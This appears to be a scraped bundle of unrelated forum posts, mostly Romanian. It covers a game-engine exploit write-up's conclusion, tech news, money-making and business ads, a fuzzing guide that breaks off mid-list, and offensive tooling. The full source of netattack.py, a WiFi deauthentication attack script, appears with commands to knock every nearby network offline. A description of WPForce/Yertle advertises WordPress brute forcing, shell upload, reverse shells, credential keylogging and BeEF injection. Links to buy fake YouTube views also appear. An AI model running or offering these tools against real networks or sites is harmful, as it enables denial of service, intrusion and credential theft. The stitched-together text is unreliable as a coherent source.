Fix: Add /SAFESEH to linker flags. Impact: This will limit the use of Structured Exception Handler (SEH) exploits (which for this bug was possible due to unlimited stack overflow, leading to the corruption of on-stack exception handler function pointers). Enable stack cookies Impact: Enabling stack cookies protects large, on-stack buffers, which is most likely common in the GoldSrc engine. Future buffer overflows would become more difficult to exploit with this mitigation enabled. For the function with the buffer overflow, the usage of stack cookies (or canaries) would have prevented the straightforward saved return address hijack. Fix: Add /GS (guard stack) to compiler flags. Hopefully Valve takes my build environment modifications into consideration as it’s the cheapest and most effective way to improve the overall security posture of GoldSrc and other engines. On Shared Code Vulnerabilities After some digging, I found the source code for the vulnerable function, GL_SubdivideSurface. This function is a part of the original Quake engine and has been inherited by every derivative engine since its open source release! Who knows how many engines out there use this function internally. Thoughts and Future Work Finding bugs in Counter Strike was quite the process. Detailing out in writing makes me appreciate how many little details went into the whole process. This endeavor was primarily a learning experience for me and my first disclosure of a vulnerability. I certainly look forward to finding more interesting bugs and creating even more sophisticated exploits in the future. Follow me on twitter @Digital_Cold to keep up-to-date with any other interesting bugs or targets I run across or comment down below if you have any questions. Special thanks to TobalJackson for proofreading this article. Sursa: https://hernan.de/blog/2017/07/07/lock-and-load-exploiting-counter-strike-via-bsp-map-files/

pana sa compilezi aircrack care-i ditamai chestia, ca sa faci DOAR deauth (posibil sa poti compila direct ala de deauth, nu stiu), e mai usor sa lasi python-ul sa-ti interpreteze codul de mai sus. plus ca daca scrii cacaturi de genul, inveti 1) cum sa scrii cacatul pe care vrei sa-l implementezi in limbajul x, 2) cum functioneaza cacatul pe care-l scrii (in anumite cazuri) si 3) si cum sa implementezi cat mai bine cacatul y. my 2c.

Windows and Linux in the same line? Yes, you heard that right... and that too, on the same computer and within the same operating system. Two months ago, Microsoft announced its plans to let its users install three different flavours of the Linux operating system – Ubuntu, Fedora, and SUSE – directly through their Windows Store, allowing them to run Windows and Linux apps side-by-side. Now, downloading an entire operating system has just become as easy as downloading an application with the availability of popular Linux distro 'Ubuntu' in the Windows App Store. However, unlike a conventional Ubuntu installation, this Ubuntu version runs in a sandboxed alongside Windows 10 with limited interaction with the operating system and is focused on running regular command-line utilities like bash or SSH as a standalone installation through an Ubuntu Terminal. For now, Ubuntu is currently only available to Windows 10 Insiders users and would be made available to the public with the upcoming Windows 10 Fall Creator Update, which is expected to release in September/October 2017. Here's How to Install and Run Ubuntu on Windows 10 Users registered in Windows 10 Insiders Program with at least "Build 16215" installed can directly install Ubuntu from the Windows Store, which will allow them to "use Ubuntu Terminal and run Ubuntu command line utilities including bash, ssh, git, apt and many more." After installing Ubuntu, Windows 10 users will require enabling "Windows Subsystem for Linux" that was previously added to Windows 10. To enable it, follow these simple steps: Navigate to Control Panel and go to "Apps and features" settings. Select "Programs and Features" from the right panel. Open the "Turn Windows features on or off" from the left menu. Select the "Windows Subsystem for Linux" and save it. Reboot Your system. While the company has not revealed exactly when its users can expect to see the other two Linux distro, Fedora and SUSE Linux, to the Windows Store, this step by Microsoft follows its commitment to the open source community. In 2013, the Microsoft launched Visual Studio, and a year later, the company open-sourced .NET. In 2015, the tech giant open sourced the Visual Studio Code Editor, as well. Last year, Microsoft took many steps to show its love for Linux, which includes bringing of Ubuntu on Windows 10, working with FreeBSD to develop a Virtual Machine image for its Azure cloud, choosing Ubuntu as the OS for its Cloud-based Big Data services, and even joining the Linux Foundation as a Platinum member – the highest level of membership. Have you tried out Ubuntu on Windows 10? If yes, let us know your experience in the comments below. Via thehackernews.com

Tu ai prea mult timp liber pentru ca , comentezi aiurea. Programarea nu se limiteaza la: "ce face ala si nu face alalalt?". O fi parerea ta, da' e proasta (IMHO, desigur). Taci acolo si vezi de treaba ta si joaca-te cu `aircrack-ng` daca nu poti sa accepti faptul ca unii oameni vor continua sa programeze ce vrea pula lor chiar daca 20 inaintea lor au facut fix acelasi lucru. Nu-mi bat capu' la ora asta mai mult. Meh, depinde de nivelul la care esti M-am uitat acum ceva ani pe sursa aia si...era cam haos asa cred ca ala o fost momentu' in care am zis: "bag pula-n el C, ma duc sa invat si altceva". Pentru cei interesati, sursa e aici

https://groups.google.com/forum/#!msg/rsua-ts2014/bsDNBH0MrcU/KQT26f0dzSYJ Translate message to English Some links are dead, sorry for that.

Salut, Nu mai sunt atat de activ ca inainte pe forum dar incerc sa intru la 2-3 zile - insa primesc in continuare mesaje pe tema dropshippingului - ce tin sa va zic ca ca aceast domeniu nu este pentru oricine - ai nevoie de ceva capital ca sa mearga treburile rapid, de o platforma, plugins etc - depinde ce folosesti - dar mai ales de cadru legal. Odata ce faci mai multi banuti incep sa apara probleme, paypal iti limiteaza contul, stripe cere dovezi si tot asa, plus taxe de platit etc. Observ ca multi nu se descurca, altii renunta cand aud de cadru legal si asa mai departe insa toata lumea vrea sa faca bani si nu inteleg de ce lumea nu merge pe "old fashion way" blog sau aflieri cu amazon sau ceva de genu pentru ca merge, eu vad asta in fiecare zi, mai exact, o simt la buzunar.. La un moment dat am renuntat la aflieri si adsense si amazon si media.net dar am reluat de cateva luni si merge chiar foarte bine a-si putea spune. Nustiu daca frecventati Flippa insa eu o fac zilnic si gasesc acolo diferite chilipiruri in materie de NISE, am si vandut cateva site-uri, am mai cumparat unele insa pentru mine acest website e ca un fel de cutia pandorei. Acum ceva timp s-a vandut un site cu 4000 de dolari daca nu ma insel, era o pagina statica, alba complet cu un articol de 700 de cuvinte... a fost mind fuck, am verificat site-ul, avea 26 de backlinkuri, pareau naturale...cele mai multe de la directoare web. Competitie 4-5 siteuri...poate.. Next Step pentru mine, am cumparat un domeniu si hosting (19$ pe an pentru amundoua de la NameCheap) am incarcat o tema, am contactat o firma care imi scrie articole (7.50$ / 500 cuvinte) si am comandat 5 articole, unul de 2000, si restul de 500. Am luat un pachet seo de pe BHW unde am platit 130$. Investitia finala a fost undeva la 200 de dolari, plus minus. Asta am facut in prima saptamana, apoi NIMIC, l-am lasat sa doarma acolo. Cati bani face? Nu mult, in a 3-a luna e ok. Si asta e doar amazon, cu ce am mai facut din media.net ajung la 200 si asta e doar un site. Trafic doar din google - organic, fara social media fara nimic, nisa e cam "strange" si nustiu ce accounturi a-si putea face. Acum inmultiti cu 4 site-ui ca atatea am pe partea asta deocamdata... ------------------------------------------------- Short Story - Cu ce ajuta 1000223 topicuri cu 12232 de intrebari daca x lucru e mort, daca se mai poate daca etc.. totul merge, doar sa te tii. Mergi pe kwfinder cautati un cuvant / nisa usor de rankat si da drumu la treaba. Un prieten ma facea idiot aseara cand eu ii spuneam ca a face bani pe net e joaca de copii - poate e doar parerea mea - aici nu vorbesc de sute mii de doalri...ci de bani in general...e simplu, doar apuca-te de treaba si tine-te de ea. Daca renunti si la fumat 1 saptamana sau la scuipat seminte s-ar putea sa ai bani de domeniu si hosting sau orice altceva. Numai Bine.

Buna ziua, Ne numim PANDA LOGISTICS SRL si suntem o casa de expeditii ce ofera servicii complete de Transport AERIAN, MARITIM ( FCL, LCL, PROJECT CARGO) si FEROVIAR de marfuri din si catre majoritatea aeroporturilor/porturilor lumii. De asemenea, avem posibilitatea de a va oferi ca beneficiu serivciul de Vama Fiscala ( Fiscal Custom Clearance) la importurile aeriene prin Frankfurt sau la cele maritime prin Hamburg sau Koper. Pentru o prezentare mai detaliata a serviciilor noastre, va puteti adresa printr-un mesaj privat sau la numarul de telefon 0799.999.828, respectiv pe adresa de e-mail: robert.popescu@panda-logistics.eu Asteptam cu interes solicitarile dumneavoastra in acest sens ! Va multumim anticipat! Sa aveti o zi cat mai buna in continuare !

The netattack.py is a python script that allows you to scan your local area for WiFi Networks and perform deauthentification attacks. The effectiveness and power of this script highly depends on your wireless card. NETATTACK 2 RELEASED https://github.com/chrizator/netattack2/ REQUIREMENTS Python 2.5+ (not Python 3+) Modules: scapy argparse sys OS threading logging iw(config) OFC LINUX USAGE EASY SCANNING FOR WIFI NETWORKS python netattack.py -scan -mon This example will perform a WiFi network scan. The BSSID, ESSID and the Channel will be listet in a table. -scan | --scan This parameter must be called when you want to do a scan. It's one of the main commands. It is searching for beacon frames that are sent by routers to notify there presence. -mon | --monitor By calling this parameter the script automatically detects you wireless card and puts it into monitoring mode to capture the ongoing traffic. If you know the name of your wireless card and it's already working in monitoring mode you can call -i This can be used instead of -mon. DEAUTHENTIFICATION ATTACK python netattack.py -deauth -b AB:CD:EF:GH:IJ:KL -u 12:34:56:78:91:23 -c 4 -mon This command will obviously perform a deauthentification attack. -deauth | --deauth This parameter is a main parameter as well as scan. It is necessary to call if you want to deauth attack a certain target. -b | --bssid With -b you select the AP's MAC-Address (BSSID). The -deauth parameter requires one or multiple BSSID's -u | --client If you don't want to attack the whole network, but a single user/client/device, you can do this with -u. It is not necessary. -c | --channel By adding this parameter, your deauthentification attack is going to be performed on the entered channel. The usage of -c is highly recommended since the attack will be a failure if the wrong channel is used. The channel of the AP can be seen by doing a WiFi scan (-scan). If you don't add -c the attack will take place on the current channel. The -mon or -i is necessary for this attack as well. DEAUTHENTIFICATION ATTACK ON EVERYBODY python netattack.py -deauthall -i [IFACE] When this command is called, the script automatically searches for AP in your area. After the search it start deauth-attacking all of the found AP's. The -deauthall parameter only needs an interface to get it working. ATTENTION: If you want all of this attacks to be as efficient as possible, have a look at the following "ADVANCED"-section ADVANCED -p | --packetburst This parameter is understood as the packetburst. Especially when you are targeting multiple AP's or even performing a -deauthall attack, the command is a must have. It defines the amount of deauth-packages to send after switching the target. When not adding the parameter it is going to be set to 64 by default. But that is highly unefficient if you are attacking 4+ AP's. -t | --timeout This parameter can be added to a -scan or -deauth. If it's added to the -scan parameter it defines the delay while switching the channel. It is set to 0.75s by default, so it is waiting 0.75s on each channel to collect beacon frames. If it's added to the -deauth parameter, it defines the delay between each packetburst. This can be used to decrease the intense of the attack or to attack the target(s) at a certain time. -cf | --channelformat This parameter can only be added to -scan. It shows a more detailed output while scanning. It's mainly recommended when the location changes and with it the AP's. Download netattack-master.zip Mirror: netattack.py #!/usr/bin/env python import sys import os import time import argparse from threading import Thread import logging logging.getLogger('scapy.runtime').setLevel(logging.ERROR) from scapy.all import * conf.verb = 0 W = '\033[0m' # white (normal) R = '\033[31m' # red G = '\033[32m' # green O = '\033[33m' # orange P = '\033[35m' # purple BOLD = '\033[1m' # bold THIN = '\033[1m' # normal # creating arguments def argument_parser(): parser = argparse.ArgumentParser(usage=''' '''+BOLD+'''SCAN NETWORKS:'''+THIN+O+''' -scan (Main command)'''+W+''' -i or -mon (Interfaces) -cf (More detailed output format) -t (Set channel switch delay) -nr (Don't do a rescan) '''+BOLD+'''DEAUTH CERTAIN NETWORKS:'''+THIN+O+''' -deauth (Main command)'''+W+''' -b (Add a BSSID) -u (Add a client) -i or -mon (Interfaces) -p (Change Packetburst) -t (set time Interval) '''+BOLD+'''DEAUTH ALL NETWORKS:'''+THIN+O+''' -deauthall (Main command)'''+W+''' -i or -mon (Interfaces) -p (Packetburst)''') parser.add_argument('-mon', '--monitor', action='store_true', help='This activates the monitoring mode \ and automatically searches for your wlan device.') parser.add_argument('-scan', '--scan', action='store_true', help='This is one of the main parameters. \ It searches for all available WiFi-Networks. \ Other parameters can be added optionally.') parser.add_argument('-cf', '--channelformat', action='store_true', help='It activates the channelformat. \ It\'s kind of verbose layout of searching. \ Espacially useful if searching for 1 network.') parser.add_argument('-t', '--timeout', type=float, help='This is setting a delay. \ It can be used to add a delay to deauth \ or a delay for switching the channel while scanning. \ DEFAULT = 0.75') parser.add_argument('-nr', '--norescan', action='store_true', help='-nr can only be used with -scan. \ This deactivates multiple scans \ and stops when channel 14 is reached.') parser.add_argument('-deauth', '--deauth', action='store_true', help='This is one of the main parameters. \ It deauth-attacks a certain BSSID. \ Adding a client is optionally.') parser.add_argument('-deauthall', '--deauthall', action='store_true', help='This is one of the main parameters. \ It searches all the WiFi Networks near by \ and deauth-attacks them.') parser.add_argument('-b', '--bssid', nargs='*', help='With this you add a BSSID to a deauth. \ It\'s a necessary parameter for -deauth.') parser.add_argument('-a', '--amount', default=0, type=int, help='This is the amount of deauth-packages to be send. \ It can only be used with -deauth \ DEFAULT = infinite') parser.add_argument('-u', '--client', default='FF:FF:FF:FF:FF:FF', help='This adds a client to a deauth-attack. \ It can only be used with -deauth and is optionally.\ DEFAULT = FF:FF:FF:FF:FF:FF (Broadcast)') parser.add_argument('-c', '--channel', type=int, help='This adds a channel to a deauth-attack. \ It can only be used with -d. \ If there is no certain channel the current channel will be used.') parser.add_argument('-p', '--packetburst', type=int, default=64, help='This sets the amount of packets in one burst. \ It can only be used with -d \ DEFAULT = 64') parser.add_argument('-i', '--interface', help='This is a necessary parameter. \ It calls the monitoring interface. \ This parameter needs to be included everywhere.') return parser def throw_error(): # invalid arguments handling if not args.deauth and not args.scan and not args.deauthall and not args.monitor: argument_parser().print_usage() sys.exit(0) if not args.interface and not args.monitor: print('[' +R+ '-' +W+'] No interface selected.') sys.exit(0) if args.deauth and args.channelformat: print('[' +R+ '-' +W+'] Parameter -cf not available when deauthing.') sys.exit(0) if args.deauth and not args.bssid: print('[' +R+ '-' +W+'] Error. No BSSID selected.') sys.exit(0) if args.scan and args.packetburst != 64: print('[' +R+ '-' +W+'] Parameter -p not available when scanning.') if args.scan and args.amount: print('[' +R+ '-' +W+'] Parameter -a not available when scanning.') sys.exit(0) if args.scan and args.bssid: print('[' +R+ '-' +W+'] Parameter -b not available when scanning.') sys.exit(0) if args.scan and args.deauth: print('[' +R+ '-' +W+'] Scan and Deauth can\'t be executed at the same time.') sys.exit(0) if args.deauth and args.norescan: print('[' +R+ '-' +W+'] Parameter -nr not available when deauthing.') if args.deauthall: if args.bssid or args.channel or args.amount or args.deauth or args.norescan or args.timeout or args.channelformat or args.scan: print('[' +R+ '-' +W+'] (1) -deauthall -i ["iface"] -p ["packets"]| no more parameters. (2) Remove -deauthall') if args.bssid and args.client != 'FF:FF:FF:FF:FF:FF': if len(args.bssid) > 1: print('[' +R+ '-' +W+'] Unable to add clients if there are multiple BSSIDs.') sys.exit(0) if args.interface and args.monitor: print('[' +R+ '-' +W+'] You can\'t use -i and -mon. Try only one of them.') sys.exit(0) # # # # # # # # # # # # # # # # SCAN # # # # # # # # # # # # # # # # # handling the packages def pckt_handler(pckt): if pckt.haslayer(Dot11): #-> check if pckt type 802.11 if pckt.type == 0 and pckt.subtype == 8: # check if Beacon frame if pckt.addr2 not in APs: APs[pckt.addr2] = on_channel #-> add to APs dict output_aps(pckt.addr2, pckt.info, on_channel) #-> print it out # printing found ap def output_aps(bssid, essid, channel): ch_space = 2 # leave different space for channel numbers if len(str(channel)) == 1: ch_space = 3 if args.channelformat: print('[' +G+ '+' +W+ '] [' +P+ 'BSSID' +W+ '] '+str(bssid).upper()+' '*2+'|'+' '*2+'[' +P+ 'CH' +W+ '] '+str(channel)+' '*ch_space+'|'+' '*2+'[' +P+ 'ESSID' +W+ '] '+essid+'') else: print(str(bssid).upper() + ' | ' + str(channel) + ' '*ch_space + '| ' + str(essid)) # hopping between wifi channels def channel_hop(): global on_channel timeout = 0.75 if args.timeout: timeout = args.timeout if not args.channelformat: print('\n[' +O+ '*' +W+ '] Searching for WiFi Networks...\n') print(O+ 'MAC' + ' '*19 + 'CH' + ' '*5 + 'ESSID' +W) while True: if on_channel > 14: if args.norescan: print('\nPress CTRL-C to quit...') sys.exit(0) elif not rescan: break else: on_channel = 1 if args.channelformat: print('\n--------------- RESCAN ---------------\n') continue if args.channelformat: print('[CHANNEL] ' + str(on_channel) + '/14') os.system('iwconfig ' + iface + ' channel ' + str(on_channel)) time.sleep(timeout) on_channel += 1 # # # # # # # # # # # # # # # # DEAUTH # # # # # # # # # # # # # # # # def set_channel(): channel = 4 if args.channel: channel = args.channel os.system('iwconfig ' + iface + ' channel ' + str(channel)) # creating and managing packets def deauth(args): bssid = args.bssid client = args.client amount = args.amount sleep = 0 endless = False if amount == 0: endless = True if args.timeout: sleep = args.timeout while endless: for ap in bssid: ap_c_pckt = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth() if client != 'FF:FF:FF:FF:FF:FF': c_ap_pckt = Dot11(addr1=ap, addr2=client, addr3=ap) / Dot11Deauth() try: for x in range(args.packetburst): send(ap_c_pckt) if client != 'FF:FF:FF:FF:FF:FF': send(c_ap_pckt) print('[' +G+ '+' +W+ '] Sent Deauth-Packets to ' + ap) time.sleep(sleep) except(KeyboardInterrupt): print('\n[' +R+ '!' +W+ '] ENDING SCRIPT...') sys.exit(0) while amount > 0 and not endless: for ap in bssid: ap_c_pckt = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth() if client != 'FF:FF:FF:FF:FF:FF': c_ap_pckt = Dot11(addr1=ap, addr2=client, addr3=ap) / Dot11Deauth() try: for x in range(args.packetburst): send(ap_c_pckt) if client != 'FF:FF:FF:FF:FF:FF': send(c_ap_pckt) print('[' +G+ '+' +W+ '] Sent Deauth-Packets to ' + ap) amount -= 1 time.sleep(sleep) except (KeyboardInterrupt): print('\n[' +R+ '!' +W+ '] ENDING SCRIPT...') sys.exit(0) print('[' +R+ '!' +W+ '] Finished successfully.') def deauth_all(): print('\n[' +O+ '*' +W+ '] Starting deauth...\n') while True: for ap in APs: for x in range(args.packetburst): try: ap_c_pckt = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth() os.system('iwconfig ' + iface + ' channel ' + str(APs[ap])) send(ap_c_pckt) except (KeyboardInterrupt): print('\n[' +R+ '!' +W+ '] ENDING SCRIPT...') sys.exit(0) print('[' +G+ '+' +W+ '] Sent Deauth-Packets to ' + str(ap).upper()) # # # # # # # # # # # # # # # # MONITOR # # # # # # # # # # # # # # # # def monitor_on(): ifaces = os.listdir('/sys/class/net/') status = False for iface in ifaces: if 'wlan' in iface: print('\n[' +G+ '+' +W+ '] Interface found!\nTurning on monitoring mode...') os.system('ifconfig ' + iface + ' down') os.system('iwconfig ' + iface + ' mode monitor') os.system('ifconfig ' + iface + ' up') print('[' +G+ '+' +W+ '] Turned on monitoring mode on: ' + iface) status = True return iface if status == False: print('[' +R+ '-' +W+'] No interface found. Try it manually.') sys.exit(0) # # # # # # # # # # # # # # # # MAIN # # # # # # # # # # # # # # # # if __name__ == '__main__': print(P+'* * * * * * * * * * * * * * * * * *') print('* N E T A T T A C K by chrizator *') print('* * * * * * * * * * * * * * * * * *'+W) args = argument_parser().parse_args() APs = {} on_channel = 1 rescan = True throw_error() iface = None if args.interface: iface = args.interface if args.monitor: iface = monitor_on() conf.iface = iface #-> set scapy's interface ## SCAN ## if args.scan: # channel hopping thread hop_t = Thread(target=channel_hop, args=[]) hop_t.daemon = True hop_t.start() sniff(iface=iface, prn=pckt_handler, store=0) ## DEAUTH ## if args.deauth: set_channel() deauth(args) ## DEAUTHALL# if args.deauthall: rescan = False hop_t = Thread(target=channel_hop, args=[]) hop_t.daemon = True hop_t.start() sniff(iface=iface, prn=pckt_handler, store=0, timeout=13) deauth_all() Source: https://github.com/chrizator/netattack

https://www.ytmonster.net/ - Au si planuri Free, dar si Payd. La payd costa in jur de 3$/1000 views "curate". http://www.growviews.com/ - La fel, free exchange dar si servicii platite. Functioneaza tot pe sistemul view 4 view. Planurile contra-cost incep de la 2 Euro. http://www.buyyoutubviews.com/ - 1.000 views - 2 euro. http://www.view2.be/ - Asta nu l-am testat, dar poti incerca.

Cred ca este creat in scopuri educationale, in caz ca vrei sa vezi cum functioneaza tool-urile din aircrack. Bat la pariu ca este mult mai simplu sa citesti sursele alea in C, asta daca vrei sa stii ce fac tool-urile pe care le rulezi, sau mai bine zis tool-urile alea pentru care am Kali.iso . Putem pur si simplu sa ne limitam la : airmon-ng start wlan0, airodump-ng -i wlan0 --essid plm aircrack, aia e!

tutorial ardmax free )))))

About: WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation modules. For more information, visit the blog post here: https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/ Features: Brute Force via API, not login form bypassing some forms of protection Can automatically upload an interactive shell Can be used to spawn a full featured reverse shell Dumps WordPress password hashes Can backdoor authentication function for plaintext password collection Inject BeEF hook into all pages Pivot to meterpreter if needed Install: Yertle requires the requests libary to run. http://docs.python-requests.org/en/master/user/install/ Usage: python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com" ,-~~-.___. __ __ ____ _____ / | x \ \ \ / /| _ \ | ___|___ _ __ ___ ___ ( ) 0 \ \ /\ / / | |_) || |_ / _ \ | '__|/ __|/ _ \. \_/-, ,----' ____ \ V V / | __/ | _|| (_) || | | (__| __/ ==== || \_ \_/\_/ |_| |_| \___/ |_| \___|\___| / \-'~; || | / __/~| ...||__/|-" Brute Force Attack Tool for Wordpress =( _____||________| ~n00py~ Username List: usr.txt (3) Password List: pass.txt (21) URL: http://www[website].com -------------------------- [xxxxxxxxxxxxx@gmail.com : xxxxxxxxxxxxx] are valid credentials! - THIS ACCOUNT IS ADMIN -------------------------- -------------------------- [xxxxxxxxxxxxx@icloud.com : xxxxxxxxxxxx] are valid credentials! -------------------------- 100% Percent Complete All correct pairs: {'xxxxxxxxxxxxx@icloud.com': 'xxxxxxxxxxxxx', 'xxxxxxxxxxxxx@gmail.com': 'xxxxxxxxxxxxx'} -h, --help show this help message and exit -i INPUT, --input INPUT Input file name -w WORDLIST, --wordlist WORDLIST Wordlist file name -u URL, --url URL URL of target -v, --verbose Verbose output. Show the attemps as they happen. -t THREADS, --threads THREADS Determines the number of threads to be used, default is 10 -a AGENT, --agent AGENT Determines the user-agent -d, --debug This option is used for determining issues with the script. python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i _..---.--. __ __ _ _ .'\ __|/O.__) \ \ / /__ _ __| |_| | ___ /__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \. (____.'.-_\____) | | __/ | | |_| | __/ (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___| (_..)--(.._)'--' ~n00py~ Post-exploitation Module for Wordpress Backdoor uploaded! Upload Directory: ebwhbas os-shell> -h, --help show this help message and exit -i, --interactive Interactive command shell -r, --reverse Reverse Shell -t TARGET, --target TARGET URL of target -u USERNAME, --username USERNAME Admin username -p PASSWORD, --password PASSWORD Admin password -li IP, --ip IP Listener IP -lp PORT, --port PORT Listener Port -v, --verbose Verbose output. -e EXISTING, --existing EXISTING Skips uploading a shell, and connects to existing shell Yertle currently contains these modules: Core Commands ============= Command Description ------- ----------- ? Help menu beef Injects a BeEF hook into website dbcreds Prints the database credentials exit Terminate the session hashdump Dumps all WordPress password hashes help Help menu keylogger Patches WordPress core to log plaintext credentials keylog Displays keylog file meterpreter Executes a PHP meterpreter stager to connect to metasploit quit Terminate the session shell Sends a TCP reverse shell to a netcat listener stealth Hides Yertle from the plugins page Download WPForce-master.zip Source: https://github.com/n00py/WPForce

un update cu arhiva se poate????? ca nu mai exista pe zippyshare .....

15 minute guide to fuzzing Matt Hillman August 08, 2013 Have you heard about fuzzing but are not sure what it is or if you should do it? This guide should quickly get you up to speed on what it’s all about. What is fuzzing? Fuzzing is a way of discovering bugs in software by providing randomised inputs to programs to find test cases that cause a crash. Fuzzing your programs can give you a quick view on their overall robustness and help you find and fix critical bugs. Fuzzing is ultimately a black box technique, requiring no access to source code, but it can still be used against software for which you do have source code, because it will potentially find bugs more quickly and avoid the need to review lots of code. Once a crash is detected, if you have the source code, it should become much easier to fix. Pros and cons of fuzzing Fuzzing can be very useful, but it is no silver bullet. Here are some of the pros and cons of fuzzing: Pros Can provide results with little effort: once a fuzzer is up and running, it can be left for hours, days or months to look for bugs with no interaction Can reveal bugs that were missed in a manual audit Provides an overall picture of the robustness of the target software Cons Will not find all bugs: fuzzing may miss bugs that do not trigger a full program crash, and may be less likely to trigger bugs that are only triggered in highly specific circumstances The crashing test cases that are produced may be difficult to analyse, as the act of fuzzing does not give you much knowledge of how the software operates internally Programs with complex inputs can require much more work to produce a smart enough fuzzer to get sufficient code coverage Smart and dumb fuzzing Fuzzers provide random input to software. This may be in the form of a network protocol, a file of a certain format or direct user input. The fuzzed input can be completely random with no knowledge of what the expected input should look like, or it can be created to look like valid input with some alterations. A fuzzer that generates completely random input is known as a “dumb” fuzzer, as it has no built-in intelligence about the program it is fuzzing. A dumb fuzzer requires the smallest amount of work to produce (it could be as simplistic as piping /dev/random into a program). This small amount of work can produce results for very little cost – one of fuzzing’s big advantages. However, sometimes a program will only perform certain processing if particular aspects of the input are present. For example, a program may accept a “name” field in its input, and this field may have a “name length” associated with it. If these fields are not present in a form that is valid enough for the program to identify, it may never attempt to read the name. However, if these fields are present in a valid form, but the length value is set to the incorrect value, the program may read beyond the buffer containing the name and trigger a crash. Without input that is at least partly valid, this is very unlikely to happen. In these cases, “smart” fuzzers can be used. These are programmed with knowledge of the input format (i.e. a protocol definition or rules for a file format). The fuzzer can then construct mostly valid input and only fuzz parts of the input within that basic format. The greater the level of intelligence that you build into a fuzzer, the deeper you may be able to go into a protocol or file format’s processing, but the more work you create for yourself. A balance needs to be found between these two extremes. It can be good to begin with a much more dumb fuzzer and increase its intelligence as the code quality of the software you are testing increases. If you get lots of crashes with a simplistic fuzzer, there is no point spending a long time making it more intelligent until the code quality increases to a point where the code requires it. Types of fuzzer Broadly speaking, fuzzers can be split into two categories based on how they create input to programs – mutation-based and generation-based. This section details those categories as well as offering a brief description of a more advanced technique called Evolutionary Fuzzing. Mutation Mutation-based fuzzers are arguably one of the easier types of fuzzer to create. This technique suites dumb fuzzing but can be used with more intelligent fuzzers as well. With mutation, samples of valid input are mutated randomly to produce malformed input. A dumb mutation fuzzer can simply select a valid sample input and alter parts of it randomly. For many programs, this can provide a surprising amount of mileage, as inputs are still often significantly similar enough to a valid input, so that good code coverage can be achieved without the need for further intelligence. You can build in greater intelligence by allowing the fuzzer to do some level of parsing of the samples to ensure that it only modifies specific parts or that it does not break the overall structure of the input such that it is immediately rejected by the program. Some protocols or file formats will incorporate checksums that will fail if they are modified arbitrarily. A mutation-based fuzzer should usually fix these checksums so that the input is accepted for processing or the only code that will be tested is the checksum validation and nothing else. Two useful techniques that can be used by mutation-based fuzzers are described below. Replay A fuzzer can take saved sample inputs and simply replay them after mutating them. This works well for file format fuzzing where a number of sample files can be saved and fuzzed to provide to the target program. Simple or stateless network protocols can also be fuzzed effectively with replay, as the fuzzer will not need to make lots of legitimate requests to get deep into the protocol. For a more complex protocol, replay may be more difficult as the fuzzer may need to respond in a dynamic way to the program to allow processing to continue deep into the protocol, or the protocol may simply be inherently non-replayable. Man-in-the-Middle or Proxy You may have heard of Man-in-the-Middle (MITM) as a technique used by penetration testers and hackers, but it can also be used for mutation-based network protocol fuzzing. MITM describes the situation where you place yourself in the middle of a client and server (or two clients in the case of peer-to-peer networking), intercepting and possibly modifying messages passed between them. In this way, you are acting like a proxy between the two. The term MITM is generally used when it is not expected that you will be acting like a proxy, but for our purposes the terms are largely interchangeable. By setting your fuzzer up as a proxy, it can mutate requests or responses depending on whether you are fuzzing the server or the client. Again, the fuzzer could have no intelligence about the protocol and simply randomly alter some requests and not others, or it could intelligently target requests at the specific level of the protocol in which you are interested. Proxy-based fuzzing can allow you to take an existing deployment of a networked program and quickly insert a fuzzing layer into it, without needing to make your fuzzer act like a client or server itself. Generation Generation-based fuzzers actually generate input from scratch rather than mutating existing input. Generation-based fuzzers usually require some level of intelligence in order to construct input that makes at least some sense to the program, although generating completely random data would also technically be generation. Generation fuzzers often split a protocol or file format into chunks which they can build up in a valid order, and randomly fuzz some of those chunks independently. This can create inputs that preserve their overall structure, but contain inconsistent data within that structure. The granularity of these chunks and the intelligence with which they are constructed define the level of intelligence of the fuzzer. While mutation-based fuzzing can have a similar effect as generation fuzzing (as, over time, mutations will be randomly applied without completely breaking the input’s structure), generating inputs ensures that this will be so. Generation fuzzing can also get deeper into a protocol more easily, as it can construct valid sequences of inputs applying fuzzing to specific parts of that communication. It also allows the fuzzer to act as a true client/server, generating correct, dynamic responses where these cannot be blindly replayed. Evolutionary Evolutionary fuzzing is an advanced technique, which we will only briefly describe here. It allows the fuzzer to use feedback from each test case to learn over time the format of the input. For example, by measuring the code coverage of each test case, the fuzzer can heuristically work out which properties of the test case exercise a given area of code, and it can gradually evolve a set of test cases that cover the majority of the program code. Evolutionary fuzzing often relies on other techniques similar to genetic algorithms and may require some form of binary instrumentation to operate correctly. What are you really fuzzing? Even for relatively dumb fuzzers, it is important to keep in mind what part of the code your test cases are actually likely to hit. To give a simple example, if you are fuzzing an application protocol that uses TCP/IP and your fuzzer randomly mutates a raw packet capture, you are likely to be corrupting the TCP/IP packets themselves and your input is unlikely to get processed by the application at all. Or, if you were testing an OCR program that parsed images of text into real text, but you were mutating the whole of an image file, you could end up testing its image parsing code more often than the actual OCR code. If you wanted to target that OCR processing specifically, you might wish to keep the headers of the image file valid. Likewise, you may be generating input that is so random that it does not pass an initial sanity check in the program, or the code contains a checksum that you do not correct. You are then only testing that first branch in the program, never getting deeper into the program code. Anatomy of a fuzzer To operate effectively, a fuzzer needs to perform a number of important tasks: Generate test cases Record test cases or any information needed to reproduce them Interface with the target program to provide test cases as input Detect crashes Fuzzers often split many of these tasks out into separate modules, for example having one library that can mutate data or generate it based on a definition and another to provide test cases to the target program and so on. Below are some notes on each of these tasks. Test case generation Generating test cases will vary depending on whether mutation-based or generation-based fuzzing is being employed. With either, there will be something that needs randomly transforming, whether it is a field of a particular type or an arbitrary chunk of data. These transformations can be completely random, but it is worth remembering that edge and corner cases can often be the source of bugs in programs. As such, you may wish to favour such cases and include values such as: Very long or completely blank strings Maximum and minimum values for integers on the platform Values like -1, 0, 1 and 2 Depending on what you are fuzzing, there may be specific values or characters that are more likely to trigger bugs. For example: Null characters New line characters 